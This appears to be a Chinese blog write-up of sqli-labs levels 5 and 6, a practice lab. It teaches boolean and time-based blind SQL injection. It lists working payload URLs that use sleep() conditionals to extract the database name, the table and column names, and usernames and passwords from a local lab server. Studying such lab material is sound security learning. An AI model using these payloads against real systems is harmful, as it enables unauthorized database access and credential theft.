zoukankan      html  css  js  c++  java
  • sqli-labs第5-6关 详解

    先打开第五关,我们尝试sql盲注

    先看一个例子吧

    某公司有一个站点,有一个showProduct.php页面,该页面接受名为ID的参数,该参数可唯一标识web站点上的每一件商品。访客可以按下列方式请求页面:

    http://showProduct.php?id=1

    http://showProduct.php?id=2

    http://showProduct.php?id=3

    http://showProduct.php?id=4

    每个请求将显示顾客希望看到的商品数据,为保护数据库不向用户显示任何数据库错误,下列所有请求均显示第一件商品:

    http://showProduct.php?id=1' or and 1=1

    http://showProduct.php?id=attacker'

    http://showProduct.php?id=-1

    到目前为止,我们能看到这公司考虑到了安全性问题,但是我们继续推理过程

    http://showProduct.php?id=2 or 1=1  //返回了第1件商品

    http://showProduct.php?id=2 or 1=2  //返回了第2件商品

    在第一个请求中,or 1=1让数据库返回所有商品。数据库检测该语句异常,显示第1件商品。

    在第二个请求中,or 1=2对结果没有影响,所以显示第2件商品

    不难发现,我们可以根据相同的原理对攻击做一些变化,例如,可以选择and逻辑运算符来替换or。这样一来

    http://showProduct.php?id=2 and 1=1  //返回了第2件商品

    http://showProduct.php?id=2 and 1=2  //返回了第1件商品

    现在虽然可以操作SQL查询,但是却无法从中获取数据。此外,web服务器根据发送的条件回发不同的相应。我们据此可以确认SQL盲注的存在,并开始着手利用此漏洞。

    了解这个了,我们来到sqli-labs第5关 学习一下,sql盲注

    我们无法跟前4道题一样,发现没有回显出来用户名和密码,于是我们进行如下

    ?id=1' and 1=1--+

    ?id=1' or 1=2--+

    用and连接条件时,  如果条件为真,则回显You are in...........

            如果条件为假,则没有回显。

    用or连接条件时,    如果条件为假,则回显You are in...........

             如果条件为真,则没有回显。

    用着两种pyload都可以,我这里采用and运算符了。

    第一步我们先猜解库名的长度吧,利用延时注入,因为盲注一般页面时没有回显的,所以我们采用延时,当然这道题是有回显的

    我们按照延时注入操作:

    当我们测试长度为8时,出现了明显延时,所以我们确定数据库名为8个长度

    http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(length(database())=8,sleep(5),1)--+

    数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

    http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left(database(),1)='s',sleep(5),1)--+

    爆表名:

    http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='users',sleep(5),5)--+

    经过漫长的手注,我们就在limit 3,1中找到了表名 users

    爆列名:

    http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+

    首先尝试定向爆破,以提高手工注入速度,修改limit x,1 中的x查询password是否存在表中,lucky的是limit 3,1的时候查到了password列,同样的方法查询username ,又一个lucky,接下来爆破字段的值。

    爆破值payload:

    http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),1)--+

    http://192.168.199.132/sqli-labs/Less-5/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),1)--+

    按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。

    这个wp写的我手发慌,但是理解了这个盲注,学会了新姿势,但是这种重复性的工作,我们交给sqlmap做。

    sqlmap怎么跑请参考https://www.cnblogs.com/junlebao/p/13758919.html第二种方法就是sqlmap跑出来的。

    第6关和第五关类似:

    双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap

    例子是,来自《注入攻击与防御(第2版)》这本书。题是sqli-labs中的。

  • 相关阅读:
    R语言学习——欧拉计划(11)Largest product in a grid
    R语言学习——欧拉计划(3)Largest prime factor 求最大质因数
    R语言学习——欧拉计划(3)Largest prime factor 求最大质因数
    python中matplotlib的颜色及线条控制
    python中matplotlib的颜色及线条控制
    R语言学习——欧拉计划(1)Multiples of 3 and 5
    R语言学习——欧拉计划(1)Multiples of 3 and 5
    R语言学习——循环判断语句
    R语言学习——循环判断语句
    R语言学习——数据框
  • 原文地址:https://www.cnblogs.com/junlebao/p/13789655.html
Copyright © 2011-2022 走看看